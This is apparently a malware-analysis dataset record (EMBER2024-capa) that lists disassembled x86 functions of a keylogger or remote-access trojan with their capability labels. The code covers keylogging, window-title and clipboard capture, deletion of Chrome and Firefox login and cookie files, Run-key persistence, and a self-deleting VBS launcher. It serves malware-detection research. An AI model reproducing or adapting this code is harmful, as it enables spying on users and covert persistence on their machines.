joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409e48
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.00409d97
mov edx, 0x465900
mov ecx, ebp
call fcn.00406a1a
test al, al
je 0x40a04f
mov ecx, 0x474178
call fcn.00408339
test al, al
jne 0x409ea4
push 0
mov ecx, 0x474178
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x409ecc
push 0x80
mov ecx, edi
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x474358
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
cmp byte [eax], 0
jne 0x409f10
push 1
mov ecx, edi
call fcn.00401e07
push eax
mov ecx, ebp
call fcn.004022f8
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00401e07
mov edx, esi
mov ecx, eax
call fcn.0041b58f
pop ecx
pop ecx
jmp 0x40a01b
lea ecx, [esp + 0x10]
call fcn.00401faa
mov ecx, 0x474340
call fcn.004022f8
push eax
mov ecx, 0x474340
call fcn.00401e8f
push eax
lea ecx, [esp + 0x78]
call fcn.00405f31
mov ecx, edi
call fcn.00401e07
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x409fa7
lea ecx, [esp + 0x28]
call fcn.00401faa
mov ecx, edi
call fcn.00401e07
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.0041b61a
test al, al
je 0x409f9e
lea ecx, [esp + 0x28]
call fcn.004022f8
push eax
lea ecx, [esp + 0x2c]
call fcn.00401e8f
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406052
push eax
lea ecx, [esp + 0x14]
call fcn.00401eef
lea ecx, [esp + 0x40]
call fcn.00401eea
lea ecx, [esp + 0x28]
call fcn.00401eea
mov ecx, ebp
call fcn.004022f8
add eax, eax
mov ecx, ebp
push eax
call fcn.00401e07
push eax
lea ecx, [esp + 0x48]
call fcn.00401f86
push eax
lea ecx, [esp + 0x14]
call fcn.00402f08
lea ecx, [esp + 0x40]
call fcn.00401eea
lea ecx, [esp + 0x10]
call fcn.004022f8
push eax
lea ecx, [esp + 0x14]
call fcn.00401e8f
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406052
mov ecx, edi
call fcn.00401e07
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041b687
lea ecx, [esp + 0x58]
call fcn.00401eea
lea ecx, [esp + 0x10]
call fcn.00401eea
push 0x465900
mov ecx, ebp
call fcn.004082d7
push 0x13
mov ecx, 0x474358
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
cmp byte [eax], 0
je 0x40a04f
push 6
mov ecx, edi
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x409e5d
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a3f4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x40a412
cmp byte [edi + 0x4a], 0
je 0x40a608
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x475d10]
cmp eax, dword [ecx + 4]
jle 0x40a45c
push 0x475d10
call fcn.00433519
cmp dword [0x475d10], 0xffffffff
pop ecx
jne 0x40a45c
mov ecx, 0x475d14
call fcn.00401e52
push 0x456d8d
call fcn.004338a5
mov dword [esp], 0x475d10
call fcn.004334cf
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040b027
test esi, esi
je 0x40a533
lea ecx, [esp + 0x20]
call fcn.004022f8
push eax
lea ecx, [esp + 0x24]
call fcn.00401e07
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x475d14
lea ecx, [esp + 0x20]
call fcn.0040b131
test al, al
jne 0x40a533
lea eax, [esp + 0x20]
mov ecx, 0x475d14
push eax
call fcn.0040affa
push 0
lea ecx, [esp + 0x24]
call fcn.004022f8
dec eax
lea ecx, [esp + 0x24]
push eax
call fcn.004082a8
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x474143], 0
je 0x40a502
mov ecx, esp
push eax
call fcn.004082dc
mov ecx, edi
call fcn.0040a876
jmp 0x40a533
mov esi, esp
lea ecx, [esp + 0x50]
push 0x465b84
push eax
mov edx, 0x465b8c
call fcn.0040b0dd
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004028cf
pop ecx
mov ecx, edi
call fcn.00409d58
lea ecx, [esp + 0x38]
call fcn.00401e13
mov ecx, edi
call fcn.0040ae58
call fcn.0041aca0
mov esi, 0xea60
cmp eax, esi
jb 0x40a5f1
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x40a560
cmp byte [edi + 0x4a], 0
je 0x40a5ff
call fcn.0041aca0
cmp eax, esi
jb 0x40a57c
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a550
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.00440c51
sub esp, 0xc
lea eax, [esp + 0x2c]
mov esi, esp
lea ecx, [esp + 0x80]
push str._minutes__r_n
push eax
call fcn.00401f66
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x70]
call fcn.00404c9e
pop ecx
mov edx, eax
lea ecx, [esp + 0x54]
call fcn.00405ce6
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0041ae08
mov ecx, edi
call fcn.00409d58
lea ecx, [esp + 0x38]
call fcn.00401eea
lea ecx, [esp + 0x50]
call fcn.00401eea
lea ecx, [esp + 0x68]
call fcn.00401eea
lea ecx, [esp + 0x20]
call fcn.00401e13
jmp 0x40a402
lea ecx, [esp + 0x20]
call fcn.00401e13
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a611
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x40a6ab
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00401f66
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.0041ae08
mov ecx, esi
call fcn.0040a876
lea ecx, [ebp - 0x18]
call fcn.00401eea
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00401f66
sub esp, 0x18
mov ecx, esp
push 0x465454
call fcn.00401f66
call fcn.0041a686
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x40a69f
cmp dword [esi], ebx
jne 0x40a693
push ebx
push ebx
push esi
push 0x409993
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x4099b5
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x4099c1
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ae1e
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40ae42
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40ae42
push esi
jmp 0x40ae47
push 0x465900
mov ecx, dword [esp + 0xc]
call fcn.00403b40
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40afba
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
push 0x4099a9
mov byte [esi + 0x49], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [esi], ebx
je 0x40afe9
push dword [esi]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x409993
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
pop esi
pop ebx
jmp fcn.0040af77

Function at 0x40b21b
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x465e4c
call fcn.0043ac1a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401f66
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00405ce6
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401eea
lea ecx, [ebp - 0x18]
call fcn.00401e8f
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b282
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40b276
sub eax, 1
je 0x40b276
xor bl, bl
jmp 0x40b29b
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40b28c
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00401f66
call fcn.0040b9d0
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401eea
mov al, bl
pop ebx
leave
ret
Function at 0x40b2a8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x465e4c
call fcn.0043ac1a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401f66
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00405ce6
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401eea
lea ecx, [ebp - 0x18]
call fcn.00401e8f
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b30f
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40b303
sub eax, 1
je 0x40b303
xor bl, bl
jmp 0x40b328
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40b319
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00401f66
call fcn.0040b9d0
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401eea
mov al, bl
pop ebx
leave
ret
Function at 0x40b335
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.00401faa
lea ecx, [ebp - 0x48]
call fcn.00401faa
lea ecx, [ebp - 0x18]
call fcn.00401faa
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00401f66
push eax
push 0x465e4c
call fcn.0043ac1a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00404c9e
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401eef
lea ecx, [ebp - 0x30]
call fcn.00401eea
lea ecx, [ebp - 0x78]
call fcn.00401eea
lea eax, [ebp - 0x1d0]
push eax
push 0x465e0c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004085b4
pop ecx
mov ecx, eax
call fcn.00401e8f
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401eea
cmp esi, 0xffffffff
jne 0x40b4e9
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00401f66
call fcn.0040b9d0
add esp, 0x18
jmp 0x40b51d
test byte [ebp - 0x1d0], 0x10
je 0x40b4e9
lea eax, [ebp - 0x1a4]
push 0x465f6c
push eax
call fcn.0043e820
pop ecx
pop ecx
test eax, eax
je 0x40b4e9
lea eax, [ebp - 0x1a4]
push 0x465f70
push eax
call fcn.0043e820
pop ecx
pop ecx
test eax, eax
je 0x40b4e9
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.004085b4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00405ce6
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401eef
lea ecx, [ebp - 0x30]
call fcn.00401eea
lea ecx, [ebp - 0x90]
call fcn.00401eea
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.004085b4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00405ce6
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401eef
lea ecx, [ebp - 0x90]
call fcn.00401eea
lea ecx, [ebp - 0x30]
call fcn.00401eea
lea ecx, [ebp - 0x60]
call fcn.00401e8f
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b4d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401e8f
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b4e9
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b3f0
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00401f66
call fcn.0040b9d0
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401eea
lea ecx, [ebp - 0x48]
call fcn.00401eea
lea ecx, [ebp - 0x60]
call fcn.00401eea
mov al, 1
pop esi
leave
ret
Function at 0x40b53a
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.00401faa
lea ecx, [ebp - 0x18]
call fcn.00401faa
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00401f66
push eax
push 0x465e4c
call fcn.0043ac1a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00404c9e
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401eef
lea ecx, [ebp - 0x48]
call fcn.00401eea
lea ecx, [ebp - 0x60]
call fcn.00401eea
lea eax, [ebp - 0x1b8]
push eax
push 0x465e0c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.004085b4
pop ecx
mov ecx, eax
call fcn.00401e8f
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401eea
cmp esi, 0xffffffff
jne 0x40b684
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00401f66
call fcn.0040b9d0
add esp, 0x18
jmp 0x40b6b8
test byte [ebp - 0x1b8], 0x10
je 0x40b684
lea eax, [ebp - 0x18c]
push 0x465f6c
push eax
call fcn.0043e820
pop ecx
pop ecx
test eax, eax
je 0x40b684
lea eax, [ebp - 0x18c]
push 0x465f70
push eax
call fcn.0043e820
pop ecx
pop ecx
test eax, eax
je 0x40b684
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004085b4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00405ce6
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401eef
lea ecx, [ebp - 0x48]
call fcn.00401eea
lea ecx, [ebp - 0x78]
call fcn.00401eea
lea ecx, [ebp - 0x30]
call fcn.00401e8f
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b6db
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x40b6d0
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b5ee
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00401f66
call fcn.0040b9d0
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401eea
lea ecx, [ebp - 0x30]
call fcn.00401eea
pop esi
mov al, bl
pop ebx
leave
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
jmp 0x40b6ba
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40b5dc
Function at 0x40b6ea
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.00401faa
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.00412513
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401eef
lea ecx, [ebp - 0x30]
call fcn.00401eea
mov edx, 0x465554
lea ecx, [ebp - 0x18]
call fcn.00405422
test al, al
je 0x40b757
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00401f66
call fcn.0040b9d0
mov bl, 1
jmp 0x40b7f5
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401e8f
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40b73c
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00401f66
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041ae08
mov ecx, eax
call fcn.00401e07
mov ecx, eax
call fcn.0041b42f
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401e13
lea ecx, [ebp - 0x30]
call fcn.00401eea
test esi, esi
je 0x40b7d0
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40b746
push ecx
push 0x466088
call fcn.0040b9f2
test eax, eax
je 0x40b7f8
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00401f66
call fcn.0040b9d0
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401eea
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x40b95c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x471b3f], cl
push edi
mov dword [0x471b70], eax
test cl, cl
je 0x40b9b9
mov edi, 0x4660e0
mov dword [ebp - 4], esi
mov ebx, 0x4742f8
push edi
mov ecx, ebx
call fcn.00401e8f
mov edx, eax
call fcn.0041246e
pop ecx
test al, al
je 0x40b9b9
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401e8f
mov edx, eax
call fcn.004124b7
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40b9b9
xor al, al
jmp 0x40b9cb
push esi
push esi
push esi
push 0x40b806
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40bb7b
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0x471d89], 1
push ebx
mov bh, byte [0x471b77]
mov bl, byte [0x471b76]
push ebp
push esi
push edi
mov edi, 0x465324
mov ebp, 0x4742e0
jne 0x40bbdd
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b0dd
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004028cf
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, connect
call fcn.00412774
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401e13
cmp bl, 1
jne 0x40bc1e
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b0dd
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004028cf
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, connect
call fcn.00412774
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401e13
cmp bh, 1
jne 0x40bc5f
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b0dd
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004028cf
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, connect
call fcn.00412774
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401e13
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x40bed7
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x474328
call fcn.00401e8f
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x471d90], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x40c66d
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00411699
mov esi, 0x474340
mov ecx, esi
call fcn.004022f8
push eax
mov ecx, esi
call fcn.00401e8f
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.fgnjalj
mov ecx, 0x4742f8
call fcn.00401e8f
mov edx, eax
call fcn.0041265d
add esp, 0x14
xor edi, edi
test al, al
jne 0x40c6cd
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041ab38
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041ae08
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.004028cf
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401e13
lea ecx, [ebp - 0x48]
call fcn.00401eea
lea eax, [ebp - 0x78]
push eax
push 0x465aa0
push 0x4661f0
call fcn.0043ac0f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403b40
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004028cf
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403cdc
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401e13
lea ecx, [ebp - 0x30]
call fcn.00401e13
lea ecx, [ebp - 0x18]
call fcn.00401e52
push 0x466398
push 0x46639c
lea ecx, [ebp - 0xc0]
call fcn.00403b40
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.00403b40
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.004028cf
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402860
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004028cf
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00402de3
lea ecx, [ebp - 0x48]
call fcn.00401e13
lea ecx, [ebp - 0x30]
call fcn.00401e13
lea ecx, [ebp - 0x90]
call fcn.00401e13
lea ecx, [ebp - 0xa8]
call fcn.00401e13
lea ecx, [ebp - 0xc0]
call fcn.00401e13
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.004082d2
push edi
lea ecx, [ebp - 0x60]
call fcn.00401e07
push eax
lea ecx, [ebp - 0x18]
call fcn.004022f8
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401e07
mov edx, esi
mov ecx, eax
call fcn.0041b58f
pop ecx
pop ecx
test al, al
je 0x40c838
push edi
mov eax, 0x465900
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401e07
push eax
push 0x46559c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40c838
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401e13
lea ecx, [ebp - 0x60]
call fcn.00401e13
lea ecx, [ebp - 0x78]
call fcn.00401e13
pop edi
pop esi
leave
ret
Function at 0x40e6a3
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.00401faa
call fcn.0041b15b
push 0
push 2
mov byte [0x473af5], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40e8b1
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x40e8aa
mov ebp, 0x466750
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.00403b40
mov ecx, dword [esp + 0x168]
push 0x46674c
call fcn.0041b187
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.0041ad46
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.0041ad46
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.0041b37d
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.0041aec8
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.0041aec8
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.00405cc5
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00405ce6
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00405ce6
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00405ce6
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00405ce6
pop ecx
push eax
mov ecx, edi
call fcn.00401eef
lea ecx, [esp + 0x28]
call fcn.00401eea
lea ecx, [esp + 0x40]
call fcn.00401eea
lea ecx, [esp + 0x58]
call fcn.00401eea
lea ecx, [esp + 0x70]
call fcn.00401eea
lea ecx, [esp + 0x88]
call fcn.00401eea
lea ecx, [esp + 0xa0]
call fcn.00401eea
lea ecx, [esp + 0xb8]
call fcn.00401eea
lea ecx, [esp + 0xd0]
call fcn.00401eea
lea ecx, [esp + 0xe8]
call fcn.00401eea
lea ecx, [esp + 0x100]
call fcn.00401eea
lea ecx, [esp + 0x118]
call fcn.00401e13
lea ecx, [esp + 0x130]
call fcn.00401eea
lea ecx, [esp + 0x148]
call fcn.00401eea
lea ecx, [esp + 0x10]
call fcn.00401e13
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40e707
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret